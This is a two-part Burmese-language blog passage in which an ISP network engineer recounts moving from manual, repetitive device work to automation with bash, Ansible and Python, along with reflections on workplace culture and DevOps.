စာရေးသူရဲ့ team ကတော့ MPLS network နဲ့ Segment Routing ကို customer တွေအတွက် manage လုပ်ရပါတယ်။ ISP တစ်ခုလည်းဖြစ်လို့ provisioning ပိုင်းမှာ အိမ်သုံး Internet connection ကစလို့ Enterprise IP Transit သို့မဟုတ် Direct Internet Access (DIA) တွေအထိ ရှိပါတယ်။ Enterprise နည်းပညာပိုင်းမှာ အစုံမြင်ရပြီးတော့ တော်တော်လေးလည်း လေ့လာရတာတော့ နေ့စဉ်လိုပါ။ Upstream / downstream မှာလည်း vendor ပေါင်းစုံနဲ့ SLA / uptime / downtime ကိစ္စမှာ နှစ်ပါးသွားရပါတယ်။ ဒီကြားထဲမှာ documentation တွေကို ကိုယ်သိသလောက်ပြန်ရေးပြီးတော့ ကိုယ့်ရဲ့ junior engineerတွေ နဲ့ အခြားသော engineer တွေသိအောင် လေ့လာနိုင်အောင် publish လုပ်ရပါတယ်။ အချိန်တန်လို့ architectural network design ပြောင်းရင် ပြောင်းသလို လိုက်ပြီးတော့ ကိုယ့် documentation တွေကို maintain လုပ်ရပါတယ်။ အချို့နေ့တွေဆိုရင် documentation တစ်ခုတည်းနဲ့ပဲ တနေကုန်သွားတာမျိုးလည်း ရှိပါတယ်။ Documentation တွေလုပ်တာများတဲ့အတွက် ကိုယ့်မှာလည်း လုပ်ငန်းခွင်ဆိုင်ရာမှာ အများကြီး သိခွင့်လေ့လာခွင့်ရခဲ့ပါတယ်။ စာရေးသူအတွက်တော့ အခြားသူတွေကို ကူညီရင်းနဲ့ ကိုယ်အမြတ်ထွက်ရတဲ့ ကိန်းပါ။ Documentation လို့ဆိုရာမှာလည်း network diagram တွေနဲ့ အခြားသော technical documentation ကိုရေးပြီးတော့ maintain လုပ်ရပါတယ်။ အပြောလွယ်သလောက် အလုပ်တော့နည်းနည်းခက်ပါတယ်။

ဒါတွေအပြင် network monitoring system တွေဖြစ်တဲ့ PRTG နဲ့ SolarWinds ကိုလည်း လက်ရှိ MPLS network နဲ့ integrate လုပ်ရပါတယ်။ လိုအပ်ရင် လိုအပ်သလို RADIUS တို့ TACACS+ တို့လိုမျိုး service တွေကိုလည်း စလယ်ဆုံး ကိုယ်တိုင် setup လုပ်ပြီးတော့ network မှာ integrate လုပ်ရတာမျိုးလည်းရပါတယ်။ အကုန်လုံးကို ခြုံငုံပြီးတော့ ကြည့်လိုက်ရင်တော့ လုပ်ငန်းခွင်မှာလုပ်ရတဲ့ လုပ်ငန်းစဉ်နဲ့ vendor တွေတော့တော်တော်လေးစုံပါတယ်။ နေ့စဉ်လုပ်ရတဲ့ အချို့အလုပ်လေးတွေတော့ ပျင်းသလိုလိုဖြစ်လာပါတယ်။ အသစ်အသစ်တွေ လေ့လာခွင့်ရတိုင်းတော့ လေ့လာတန်သလောက် လေ့လာမိပါတယ်။ ပြီးပြည့်စုံတယ်လို့တော့ မရှိပါဘူး။ ပျင်းသလိုလိုရှိလာတဲ့ အလုပ်လေးတွေကတော့ ဒီတစ်ခုတည်းကိုပဲ ထပ်ကာထပ်ကာ လုပ်ရဖန်များလို့လည်းဖြစ်နိုင်ပါတယ်။ ဒီလိုမျိုးပျင်းသလိုလိုရှိလာရင် စာရေးသူ အဲ့ဒီ workflow ကို ရှောင်လို့ရအောင် ဘယ်လိုမျိုး automate လုပ်ရပါ့မလဲဆိုတာ စပြီးတွေးပါတယ်။ ကိုယ်တိုင်က လူပျင်းမို့ workflow တော်တော်များများကို automate လုပ်လို့ရအောင် အမြဲတမ်းကြိုးစားလေ့ရှိပါတယ်။ Automated workflow တစ်ခုချင်းစီကိုလည်း အားရင်အားသလို လက်ရှိထက်ကောင်းအောင် ပြင်ဆင်ပြီးတော့ စမ်းသပ်လေ့ရှိပါတယ်။ ဒါနဲ့ပဲ တစ်နေ့တာ သံသရာလည်ရပါတော့တယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-b66358c5755d830705534c77d47a8a957289b6fb%2FDevOps-War.jpg?alt=media" alt=""><figcaption></figcaption></figure>

အစဉ်အလာအရကြည့်မယ်ဆိုရင်တော့ စာရေးသူဟာ Operations လို့ခေါ်တဲ့ Ops ဘက်တော်သားလို့ ကိုယ့်ဟာကိုမြင်မိပါတယ်။ အလုပ်သဘောသဘာဝအရ change ဆိုတဲ့ အပြောင်းအလဲတစ်ခုခုကို လက်ရှိ operate ဖြစ်နေတဲ့ systems ထဲကိုထည့်ဖို့ဆိုတာ မလိုအပ်ရင်မလုပ်လိုပါဘူး။ Uptime ဘယ်လောက်များများရအောင်လုပ်နိုင်မလဲ ဆိုတာကို ဦးစားပေးပြီးတော့ နေ့စဉ် network နဲ့ systems တွေကို monitor လုပ်ရပါတယ်။ Change တစ်ခုအတွက် ပြင်ဆင်ရတဲ့အပိုင်းမှာ အချိန်အများကြီးပေးရလို့ အစကတည်းက သိပ်သဘောမတွေ့ပါဘူး။ သို့သော်လည်း change တစ်ခုအတွင်းမှာ တစ်ခုမှားသွားလို့ လွှဲသွားလို့ ချော်သွားလို့ကတော့ ကိုယ့်အထက်က အတွင်းပုတ်တဲ့ senior engineer အချို့နဲ့ ဘုမသိဘမသိ management က ခဏခဏ ကိုယ်ဆီပဲရောက်လာပြီးတော့ finger pointing လုပ်လိုက် blame game ဆော့လိုက်နဲ့ ဝိုင်းဝိုင်းသမကြသဖြင့်၊ အကြိမ်များလာလို့ သတိကပ်ပြီး ဘယ်သူကိုယ်မှ အယုံအကြည်မရှိနိုင်တာ second nature လိုဖြစ်လာပါတယ်။ Work culture ဟာ ကိုယ့်ရဲ့ workflow ကိုထိခိုက်လာတော့ senior ကောင်းတဲ့ team ကိုရောက်အောင် ကြိုးစားရပါတော့တယ်။ လက်ရှိ team မှာတော့ senior engineer တွေရဲ့ အထောက်အပံ့ကြောင့် ကိုယ့်အတွက် လမ်းအများကြီးပွင့်လာပါတယ်။ ကိုယ်နဲ့ အလုပ်လုပ်ရတဲ့ team မှာလည်း ဘိုးတူဘောင်ဘက် ဝိုင်းဝံ့လုပ်ကိုင်ကြလို့ ကိုယ့်အတွက်လည်း အလုပ်ပိုဖြစ်ပါတယ်။ သို့သော် management အပိုင်းမှာတော့ micro-manage လုပ်တဲ့ culture လေးတွေရှိနေသေးလို့ အနည်းငယ်တော့ စိတ်ရှုပ်ရတာတော့ အမှန်ပါ။ အခုနောက်ပိုင်း Dev culture နဲ့ DevOps evolution အကြောင်းလေးတွေ လိုက်လေ့လာဖြစ်တော့ ကိုယ်စိတ်ကူးထားတဲ့ ရွှေပြည်တော်လို့တောင် ထင်ရပါတယ်။ Agile methodology ကိုထဲထဲဝင်ဝင် လေ့လာလိုက်တော့မှ ဟာ… ဒါတော့ဖြင့်ငါနဲ့ တော်တော်လေးအဆင်ပြေလောက်တယ်ဆိုပြီးတော့ အားကျမိပါတယ်။ ဒါ့ကြောင့်လည်း အခုလောလောဆယ်မှာ DevOps နဲ့ပတ်သတ်တဲ့ tool set / too chain တွေအကြောင်း၊ DevNet ရဲ့ data modelling အကြောင်းတွေကို သဲကြီးမဲကြီးနဲ့ စမ်းတဝါးဝါးလိုက်ဖတ် လိုက်လေ့လာဖြစ်နေပါတယ်။ လက်ရှိ Ops ခြံထဲကနေပြီးတော့ Dev ခြံဘက်အခြမ်းကို ကူးလာခုန်သွားချင်နေတာကတော့ လက်ရှိမှာဖြစ်နေတဲ့ စာရေးသူရဲ့ ဆာလောင်မှုတစ်ခုပါ။

### အသုံးတည့်တဲ့ Network Automation နဲ့ Orchestration tool set

Network automation နဲ့ orchestration အတွက် စာရေးသူကိုယ်တိုင် ကြုံတွေ့ ရတဲ့ ဖြစ်စဉ်တစ်ခုကို ပြန်လည်မျှဝေလိုပါတယ်။ အထက်မှာပြောခဲ့ပြီးသလိုပဲ… ထပ်ကာထပ်ကာလုပ်ရတဲ့ repetitive tasks တွေကို နေ့စဉ် workflow အနေနဲ့ လုပ်ရတာ စာရေးသူ မကြိုက်ပါဘူး။ အစပိုင်း process ကိုနားလည်အောင် လေ့လာတဲ့ အချိန်မှာပဲ လက်ကြောတင်းအောင်လုပ်ပြီးတော့ နည်းနည်းကြာလာလို့ရှိရင် ပျင်းလာတက်ပါတယ်။ ဘာမဆို ငြီးငွေ့လွယ်လွန်းတာတော့ စာရေးသူနဲ့ ဒိုးလုံးတော်တော်တူပါတယ်။ အဲ့ဒီအတွက် ပျင်းလာတဲ့ workflow အချို့ကို bash script လေးတွေရေးဖြစ်ပါတယ်။ bash ဟာ Unix-like platform ပေါ်ကနေမထွက်မချင်းတော့ ဒီကဟာ ဟိုဘက်မှာဆွဲသုံးလိုက် ဟိုကဟာ ဒီမှာထည့်သုံးလိုက်နဲ့ အစပိုင်းမှာ အဆင်ပြေသယောင်ယောင်ပါ။ ကိုယ်လုပ်ချင်တဲ့ဟာသိတောင်မှ ဘယ်ကနေဘယ်လိုစလုပ်လိုက်ရသလဲဆိုတာ မသိတဲ့အချိန်တွေ့လည်းရှိပါတယ်။ များသောအားဖြင့် အစကနေပြီး အဆုံတိုင်အောင် တစ်ခုချင်းစီတည်ဆောက်ယူရပါတယ်။ အဲ့ဒီကနေမှ ကိုယ်က အခြားသော network platform တွေနဲ့ တွဲသုံးဖို့ရာ bash တစ်ခုတည်းနဲ့ကတော့ တော်တော်လေးကို မလွယ်တဲ့ကိစ္စပါ။ ဒါ့ကြောင့် ရှာရင်းဖွေရင်းနဲ့ စာရေးသူ Ansible လိုမျိုး orchestration tool တစ်ခုကိုစတင်တွေ့ရှိခဲ့ပါတယ်။ တပြိုင်နက်တည်းမှာပဲ YAML ဆိုတဲ့ data format parsing နဲ့ Ansible playbook တွေအကြောင်း ထပ်ပြီးတော့ လေ့လာဖြစ်ပြန်ပါတယ်။ အနည်းဆုံးတော့ Ansible playbook နဲ့ inventory က device တွေကို စာရေးသူ စပြီးတော့ orchestrate လုပ်လို့ရလာပါတယ်။ ဥပမာ အရင်က network device တစ်ခုချင်းစီကို ssh နဲ့ လိုက်ဝင်ရပြီးတော့ configuration ကို တစ်ခုပြီးတစ်ခုလိုက်စစ်ရပါတယ်။ လိုအပ်ပါက configuration လေးနှစ်ကြောင်းသုံးကြောင်းကို တစ်ခုချင်းစီဝင်လိုက်ပြင်လိုက်နဲ့ တော်တော်လေးကို ပျင်းဖို့ကောင်းတဲ့ အလုပ်ပါ။ ဥပမာ ACL entry တွေကို ပြင်ဆင်တဲ့အချိန်မျိုးမှာကြုံရတတ်ပါတယ်။ Ansible playbook နဲ့ပြင်ဆင်စရာရှိတာ ပြင်ဆင်ပြီးတော့ command လေးတစ်ကြောင်း ရိုက်ထည့်ပြီးတော့ run လိုက်နိုင်တာ စိတ်ကျေနပ်စရာတစ်ခုပါ။ Ansible က agent-less ဖြစ်တဲ့အတွက် platform တော်တော်များများမှာ well-maintained လုပ်ထားတဲ့ Ansible module လေးတစ်ခုရှိရုံနဲ့ ကောက်ပြီး လိုအပ်တဲ့ဟာကို orchestrate လုပ်လို့ရပါတယ်။ အဲ့ဒီတော့ စာရေးသူ Ansible Adhoc command လေးတွေကို လိုအပ်သလို သုံးလို့ ရနိုင်သလို၊ သူ့ရဲ့ playbook နဲ့ bash shell script တွေကို ပေါင်းပြီးတော့ automate လုပ်ကြည့်၊ orchestrate လုပ်ကြည့်ပါတော့တယ်။ သင့်သင့်သလောက်တော့ ခရီးပေါက်ခဲ့ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-2b9b5fcd68b50ed76c7d2e9d7e838bbb1b1b16dd%2Fansible-glue-tools-1-768x403.png?alt=media" alt=""><figcaption></figcaption></figure>

Ansible ဟာ Red Hat ရဲ့ project တစ်ခုဖြစ်ပါတယ်။ အခုနောက်ပိုင်းမှာ DevOps သမားတွေအကြိုက်တွေ့တဲ့ orchestration tool ပါ။ အခြားသော Puppet၊ Chef နဲ့ Salt တို့လိုပဲ ကိုယ့်ရဲ့ environment နဲ့ setup ပေါ်မှာမူတည်ပြီးတော့ Ansible ကိုအသုံးပြုကြပါတယ်။ ပြဿနာက Ansible module တိုင်းဟာ ကိုယ်သုံးတဲ့ platform အတွက်အလုံးစုံ ပြည့်စုံဖို့တော့ မလွယ်ပါဘူး။ ဆိုကြပါတော့… စာရေးသူ အလုပ်မှာ အသုံးပြုတဲ့ အခြားသော networking platform တွေဖြစ်တဲ့ Huawei နဲ့ MikroTik တို့အတွက်တော့ ကိုယ်တိုင်စမ်းပြီးတော့ သုံးကြည့်သလောက်တော့ သိပ်အဆင်မပြေပါ။ Core network မှာသုံးတဲ့ Cisco networking platform အတွက်တော့ Ansible ဟာ စာရေးသူ အတွက် အားလုံးနီးပါး အဆင်ပြေပါတယ်။ Ansible module တွေကို ဟိုရှာဒီရှာနဲ့ Ansible ရဲ့ backend မှာ python code တွေကိုတွေ့ရပြန်ပါတယ်။ ဒါနဲ့ပဲ python ကို network automation မှာ တွဲပြီးတော့ သုံးဖို့အတွက် ထပ်တခါလေ့လာဖြစ်ပြန်ပါတယ်။ Python ဘက်အခြမ်းကိုရောက်လာတော့ သူ့မှာယူသုံးလို့ရတဲ့ library တွေအများကြီးရှိလို့ တော်တော်လေးကို အဆင်ပြေနေပါတယ်။ Network automation အတွက် python မှာ paramiko နဲ့ netmiko လို module တွေရှိရုံနဲ့ ကိုယ်ကြိုက်တဲ့ ဘယ် device ကိုမဆို ssh ဝင်လို့ရနိုင်ပါတယ်။ Python မှာ အဓိကအားသာချက်က သူ့ရဲ့ python community နဲ့ ပြီးပြည့်စုံလှတဲ့ python အတွက် documentation တွေပဲဖြစ်ပါတယ်။ မသိရင် ကိုယ်တိုင် ရှာဖတ် ရှာလေ့လာလို့ ရတဲ့အတွက် အဆင်ပြေပါတယ်။ Syntax ပိုင်းမှာလည်း အခြားသော high-level programming language တွေလောက် မရှုပ်ထွေးလှပါဘူး။ Python ရဲ့ ကိုယ်ပိုင်ဟန် ကိုယ်ပိုင်စည်းကမ်းလေးတွေကို သေချာလိုက်နာရုံနဲ့ ခရီးတော်တော်ရောက်နိုင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8dbeff3e19f9cff9a46e13f1175d09bae3d0f433%2Fpython-1.png?alt=media" alt=""><figcaption></figcaption></figure>

ဒီအပိုင်းကိုတော့ ဒီလောက်နဲ့ပဲ ရပ်လိုက်ပါတော့မယ်။ နောက်တပိုင်းမှာတော့ Ansible နဲ့ Python အကြောင်းတွေကို စာရေးသူ ဆက်ပြီးတော့ glorify လုပ်ချင်ပါတယ်။ လက်တွေ့မှာလည်း သုံးလို့ ရနိုင်တဲ့ Ansible playbook နဲ့ Python တို့ရဲ့ codelet အချို့ကိုလည်း ထည့်သွင်းဖော်ပြသွားဖို့ စိတ်ကူးရှိပါတယ်။


# ကြုံတွေ့ရသမျှ Network Automation အနုပညာ အပိုင်း(၂)

ဒီ တပိုင်းမှာတော့ Ansible အကြောင်းကို အရင်ဆုံးရှင်းချင်ပါတယ်။ Ansible ကိုတော့ Red Hat က maintain လုပ်တဲ့ project တစ်ခုပါ။ Michael DeHaan ဆိုတဲ့ ပုဂ္ဂိုလ်ဆီကနေပြီးတော့ Red Hat ဟာ ၂၀၁၅ ခုနှစ်မှာ ပြန်ဝယ်လိုက်ပြီးတော့ ဆက်ပြီးတော့ develop လုပ်နေတာလည်းဖြစ်ပါတယ်။ Unix-like environment တွေမှာ ssh ကိုအားပြုပြီးတော့ device configuration တွေကို manage လုပ်တဲ့၊ orchestrate လုပ်တဲ့ tool set တစ်ခုပါ။ အခြားသော orchestration tool တွေနဲ့ မတူတဲ့ အချက်ကတော့ Ansible ကို အသုံးပြုဖို့အတွက် client ဘက်မှာ ဘာ agent မှ install လုပ်စရာမလိုတာပဲဖြစ်ပါတယ်။ နောက်ပြီးတော့ cross-platform ဖြစ်တဲ့အတွက် Windows လို environment မှာလည်း Windows Remote Management ကိုအသုံးပြုပြီးတော့ PowerShell ကို အသုံးပြုနိုင်တဲ့အတွက် အသုံးပြုဖို့ရာအတွက် တော်တော်လေးကို အဆင်ပြေပါတယ်။ Ansible မှာ အလွယ်တကူ တစ်ကြောင်းတည်းနဲ့ ပြီးမယ့် command ဆိုရင် သူ့ကို ad-hoc ပုံစံမျိုးနဲ့ အသုံးပြုလို့ ရပါတယ်။ ဒါမှမဟုတ်ပဲနဲ့ အဆင့်ပေါင်းများစွာ လုပ်ရမယ်၊ command တွေကို အခေါက်ခေါက်အခါခါလုပ်ရမယ်ဆိုရင်တော့ Ansible Playbook ကို အသုံးပြုနိုင်ပါတယ်။ Folder structure တစ်ခုထဲမှာ inventory list တွေ၊ role တွေ နဲ့ အခြားသောလိုအပ်တဲ့ variable တွေအပြင် ssh မှာသုံးမယ့် password တွေကို လုံခြုံစွာသိမ်းထားနိုင်တဲ့ vault လိုဟာမျိုးတွေလည်း ပါတာကြောင့် အသုံးပြုတဲ့နေရာမှာ နားလည်ထားရမယ့် အစိတ်အပိုင်းတွေများစွာပါဝင်ပါတယ်။ Ansible ရဲ့ documentation ဟာတော်တော်လေးကို စုံစုံလင်လင်ရှိတဲ့အတွက် မသိတာတွေကိုလည်း အလွယ်တကူရှာဖွေဖို့ရာလည်း လွယ်ကူပါတယ်။ Ansible အကြောင်းကို အလုံးစုံတော့ ဒီ post မှာမရှင်းလိုပါ။ အဓိကအနေနဲ့တော့ စာရေးသူအတွက် Ansible ဟာ network automation မှာဘယ်လို နေရာကနေပါဝင်ခဲ့သလဲဆိုတာတယ်။ လုပ်ငန်းခွင့်မှာ အခြေခံကနေပြီးတော့ အဆင့်မြင့်မြင့် Ansible ကို လက်တွေ့ အသုံးပြုနိုင်မယ့် ပုံစံအကျဥ်းချုပ်ကိုသာတင်ပြလိုတာပါ။ စာရေးသူကိုယ်တိုင်လည်း စတင်လေ့လာနေကာစမို့ ရှင်းပြတဲ့နေရာမှာလိုအပ်တာတွေလည်း ရှိနိုင်တာမို့ ဂရုဏာစိတ်လေးနဲ့ နားလည်စေချင်လိုပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-e0af70c442f7f2eed194dae94aa2248b4c6958f1%2FAnsible-1-768x499.png?alt=media" alt=""><figcaption></figcaption></figure>

### Ansible နဲ့ တွေ့ဆုံခြင်း

စာရေးသူ Ansible ကို အရင်တုန်းက ကြားသာကြားဖူးပြီးတော့ ဘယ်လိုသုံးရသလဲဆိုတာလည်းမသိသလို၊ ဘာအတွက်သုံးသလဲဆိုတာလည်း သဲသဲကွဲကွဲ မသိခဲ့ပါဘူး။ ကိုယ်နဲ့ မဆိုင်သလို၊ အလုပ်အတွက် အသုံးပြုရမှာမဟုတ်တဲ့အတွက် Ansible ကိုလေ့လာဖို့လည်း အကြောင်းမရှိခဲ့ပါဘူး။ လွန်ခဲ့တဲ့တစ်နှစ် နှစ်နှစ်လောက်မှာမှ အလုပ်ခွင်မှာ networks team နဲ့တွဲပြီး အလုပ်လုပ်ရဖို့ အကြောင်းပါလာတော့ Cisco နဲ့ Huawei ရဲ့ networking devices တွေနဲ့ production မှာထိတွေ့ဖို့ ဖြစ်လာပါတော့တယ်။ ကိုယ်တိုင်က network ဘက်မှာ CCNA လောက်သာသာ skill နဲ့ CCNP၊ CCIE တို့လို senior network engineers တွေနဲ့ တွဲပြီးတော့ လုပ်လာရတဲ့အခါမှာ ကိုယ့်ရဲ့ networking skill ဘယ်လောက်ပဲရှိတယ်ဆိုတာကို ရှင်းရှင်းလင်းလင်း သိလာရပါတယ်။ တဘက်မှာလည်း CCNPတို့ CCIE တို့ ကိုင်ထားတဲ့ senior network engineer တွေလည်း အလုံးစုံမသိတာကို တဖြည်းဖြည်းတော့ သိလာရပါတယ်။ Enterprise network နဲ့ Service Provider network မှာသုံးတဲ့ networking technology တွေအများကြီးနဲ့ နေ့တိုင်း ထိတွေ့ပြီးတော့ လုပ်ကိုင်နေကြတဲ့ networking ဘက်မှာ အားသာတဲ့ senior network engineer တွေဟာ ရှေးရိုးစွဲ networking professional သီးသန့်ဆိုတာလည်းသိလာရပါတယ်။ ရှင်းရှင်းပြောရရင် Cisco နဲ့ Huawei တွေလို platform တွေမှာ train ထားတဲ့ network engineer တွေဟာ သူတို့အားသန်တဲ့ platform မှာပဲလှည့်ပြီးတော့ network ရဲ့ architecture design နဲ့ configuration မှာ network device တစ်ခုချင်းစီကို configure လုပ်ဖို့၊ setup လုပ်ဖို့ ကို ဝင်မလေးကြပါဘူး။ Troubleshoot လုပ်တဲ့အခါမှာလည်း debug ကိုသုံးပြီးတော့ syslog တွေကိုကြည့်ပြီးတော့ ဘယ်နားသွားပြီးတော့၊ ဘယ် device မှာဖြင့် ဘယ် protocol ဟာမှာ ဘယ်လိုပြဿနာတတ်နေသလဲဆိုတာကို ကိုယ့်မျက်စိရှေ့မှာ အစပိုင်းလုပ်ပြတော့ အံ့အားသင့်ခဲ့ရပါတယ်။ အားကျစရာတစ်ခုဖြစ်ခဲ့သလို၊ တပိုင်းနက်တည်းမှာပဲ အဲ့ဒီထက်လွယ်အောင်လုပ်လို့ မရတော့ဘူးလားလို့ လည်းကိုယ်ဟာကို မေးခွန်းထုတ်မိပါတယ်။ စာရေးသူ ဟိုးအရှေ့ post မှာရေးခဲ့သလိုပဲ ကိုယ်က network team ထဲမှာစပြီးတော့ လုပ်ကာစမို့ level 1 လုပ်ရမယ့်ဟာ အကုန်လုံးနီးပါးကို ကိုယ့်လက်နဲ့ ကိုလုပ်ဖို့ကို senior engineer တွေက ကိုယ့်ကို assign လုပ်ပါတယ်။ ပြဿနာက ကိုယ်ကပျင်းတော့ အစပိုင်းမှာ ထပ်ကာသလဲလဲ လုပ်ရတဲ့ အလုပ်မျိုးကို စာရေးသူ မကြိုက်ခဲ့ပါဘူး။ စာရေးသူရဲ့ background က sysadmin မို့ systems ဘက်မှာလည်း ကိုယ်တတ်နိုင်သလောက် script တွေကို ရေးပြီးတော့ automate လုပ်လေ့ရှိတဲ့အတွက်၊ network ဘက်မှာလည်း အဲ့လိုမျိုး လုပ်လို့မရဘူးလားဆိုတော့ ရှာပုံတော်စထွက်ရာကနေပြီးတော့ ပထမဆုံး ကိုယ်ကဘာလုပ်ချင်တာလည်းမသိတာတကြောင်း၊ ဘယ်လိုလုပ်ရမှာလဲဆိုတာ မသိတာတကြောင်းမို့ အစပိုင်းမှာသိပ်ပြီးတော့ ခရီးမပေါက်လှပါဘူး။ သို့သော်ကိုယ်ဘာလိုချင်တာလည်း ဆိုတာတော့ ခပ်ရေးရေးသိသလိုရှိခဲ့ပါတယ်။ အဲ့ဒါကတော့ repetitive task တွေ အားလုံးကို automate လုပ်ချင်ပါတယ်။ ကိုယ်တနေ့တနေ့ ရုံးမှာထိုင်ပြီးတော့ ဒီတစ်ခုတည်းကိုပဲ ထပ်ကာထပ်ကာလုပ်တာမျိုး မလုပ်ချင်တော့ပါ။ အသစ်အသစ် တွေကို ပိုမိုသိချင်တဲ့စိတ်နဲ့ လေ့လာဖို့ကိုသာ ပိုပြီးတော့ အားသန်ခဲ့ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-d719082c55caf1298c73320317bb5c21dbfe5f35%2FAutomating-Automation-1.jpg?alt=media" alt=""><figcaption></figcaption></figure>

အစမှာတော့… parallel ssh sessions တွေကို တပြိုင်နက်တည်း တူညီတဲ့ commands တွေကို ရိုက်ထည့်ဖို့ရာအတွက် pssh လိုမျိုး tool တွေကိုသုံးဖို့အတွက် အကြံရခဲ့ပါတယ်။ တကယ်တန်းမှာ ကိုယ်ထင်ထားသလောက် အလုပ်မဖြစ်တာကို တစ်ပတ်လောက် ဟိုစမ်းကြည့် ဒီစမ်းကြည့်နဲ့ သိလာခဲ့ပါတယ်။ ကိုယ့်ရဲ့ workflow နဲ့ ဘယ်လိုမှ အဆင်မပြေတာသိလာတဲ့အတွက် တော်တော်လေးကြံရာမရဖြစ်ခဲ့တဲ့ နေ့တွေကိုလည်း မှတ်မိနေပါသေးတယ်။ ဘယ်ကနေစလိုက်ရမလဲဆိုတာကို သေချာမသိခဲ့တဲ့ အစမကောင်းခဲ့ခြင်းလိုပဲဆိုရမှာပါ။ အဲ့ဒီနောက် ဟိုရှာဒီရှာ နဲ့ configuration management လို orchestration tool set တွေကို အကြောင်းကို စတင်တွေ့ရှိခဲ့ပါတော့တယ်။ အဲ့ဒီမှာလည်း ဘယ် tool set ကကိုယ်နဲ့ အဆင်ပြေနိုင်သလဲဆိုတာကို မစမ်းကြည့်ပဲနဲ့ မသိနိုင်တဲ့အတွက် တစ်ခုခုတော့ စပြီးတော့ စမ်းသပ်ကြည့်ဖို့ ဖြစ်လာပြန်ပါတယ်။ ပထမဆုံးတစ်ခုတွေ့ရှိချက်ကတော့ TCL Expect ပဲဖြစ်ပါတယ်။ network device တွေမှာ script တွေအသုံးပြုပြီးတော့ automate လုပ်ဖို့အတွက် ရှိနေခဲ့တဲ့ scripting language တစ်ခုပါ။ စပြီးတော့ implement လုပ်ဖို့ရာလေ့လာ ကြည့်အခါမှာတော့ တော်တော်လေး bulky ဖြစ်တာကိုတွေ့ရပါတယ်။ နောက်ပြီးတော့ language style မှာလည်း နည်းနည်းလေး out-of-date ဖြစ်သလိုခံစားရပါတယ်။ လက်ရှိအချိန်ထိ network engineer တော်တော်များများရဲ့ လက်စွဲ scripting language တစ်ခုအဖြစ်ရှိနေတုန်းပါ။ စာရေးသူအတွက်တော့ အနည်းငယ်လေ့လာကြည့်ပြီးတာနဲ့ ဒီတစ်ခုငါ့အတွက်မဟုတ်ဘူးဆိုတဲ့ စိတ်ခံစားချက်ဖြစ်လာလို့ နောက်တစ်ခုကို ဆက်သွားဖို့ဖြစ်လာခဲ့ပါတယ်။ အဲ့ဒီမှာပဲ… Ansible ရဲ့ lightweight ပုံစံနဲ့ agentless ဆိုတဲ့ feature နှစ်ခုတည်းနဲ့ပဲ စာရေးသူစတင် စိတ်ဝင်စားခဲ့ရပါတယ်။ ကံကောင်းချင်တော့… youtube မှာ network engineer တစ်ယောက်က Ansible ကိုအသုံးပြုပြီးတော့ သူ့ရဲ့ Cisco networking device တွေကိုဘယ်လို manageလုပ်သလဲဆိုတာကို တွေ့ရလို့၊ စာရေးသူဘဝင်ကျလို့ လိုက်လုပ်ကြည့်ရာကနေပြီးတော့ production environment မှာ Cisco ရဲ့ read-only show commands တွေနဲ့ စတင်စမ်းသပ် ဖြစ်ပါတော့တယ်။ တစ်ပတ်လောက် စမ်းသပ်ပြီးတဲ့အခါမှာတော့ Ansible ရဲ့ အစွမ်းထက်ပုံကို ချက်ချင်းသိလာခဲ့ပါတယ်။ စနစ်တကျသုံးနိုင်ရင် ထိထက်အကျိုးရှိဖို့လည်း မြင်တာကြောင့် အသေးစိတ် အချိန်ပေးပြီးတော့ စမ်းသပ်ဖို့ကို ဆုံးဖြတ်ခဲ့ပါတော့တယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-2794ad7da40925e8756d9538a38f646bb075d63c%2FExploring-Expect-1-780x1024.jpg?alt=media" alt=""><figcaption></figcaption></figure>

တစ်ပတ်ကျော် နှစ်ပတ်ကြာကြာလောက်မှာတော့ အခြားသော မသိသေးတဲ့ engineer ကိို ကြွားဖို့လောက်တော့ အဆင်သင့်ဖြစ်နေပါပြီ။ လိုအပ်တဲ့ inventory ကိုလည်း ကိုယ့်စိတ်ကြိုက်ပြင်ဆင်ပြီးနောက် Cisco platform နဲ့ အလုပ်စတင်လုပ်ဖို့ ကြိုးစားကြည့်ပါတော့တယ်။ Ansible ad-hoc command လေးတွေသုံးကြည့်ပါတယ်။ ထိုမှတဆင့် Ansible Playbook မှာ ထပ်ကာထပ်ကာ လုပ်ရတဲ့ task တွေကို stage လုပ်ပြီးတော့ အသုံးပြုကြည့်ပါတယ်။ စစချင်းမှာစိတ်ချရအောင်လို့ GNS3 မှာ lab environment တစ်ခုတည်ဆောက်ပြီးတော့မှ Network Automation ဆိုတဲ့ docker container node ကို အသုံးပြုပြီးတော့ အရင်ဆုံး စမ်းဖြစ်ပါတယ်။ ကိုယ့်ဟာကို လုံးဝစိတ်ချရပြီဆိုမှဖြင့် production မှာ read-only ပဲဖြစ်တဲ့ show commands တွေနဲ့ ထည့်ပြီးတော့ သုံးကြည့်ပါတယ်။ တော်တော်လေးကို စိတ်တိုင်းကျစရာ ဖြစ်လာခဲ့ပါတယ်။ အဲ့ဒီကနေမှတဆင့် ကိုယ် manage လုပ်တဲ့ Linux box တွေကိုပါ patch လုပ်တဲ့အခါအဆင်ပြေအောင်လို့ Ansible ထဲမှာထည့်သုံးကြည့်ပါတယ်။ အဆင်ပြေပါတယ်။ သို့သော် bash မှာလိုတော့ ရိုးရှင်းတဲ့ ပုံစံမျိုးမဟုတ်ပဲနဲ့ YAML မှာထည့်ပြီးတော့ သုံးတဲ့ ပုံစံနဲ့မို့ အနည်းငယ်တော့ကွာခြားပြန်ပါတယ်။ ထိုမှာတဆင့် HPE networking platform နဲ့ Huawei ရဲ့ Routing နဲ့ Switching 